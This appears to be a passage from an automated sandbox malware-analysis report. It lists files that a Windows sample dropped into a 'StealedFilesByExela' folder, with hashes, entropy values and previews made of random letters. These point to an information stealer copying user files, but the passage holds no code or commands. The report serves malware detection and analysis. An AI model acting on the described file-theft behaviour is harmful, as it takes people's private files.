Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKB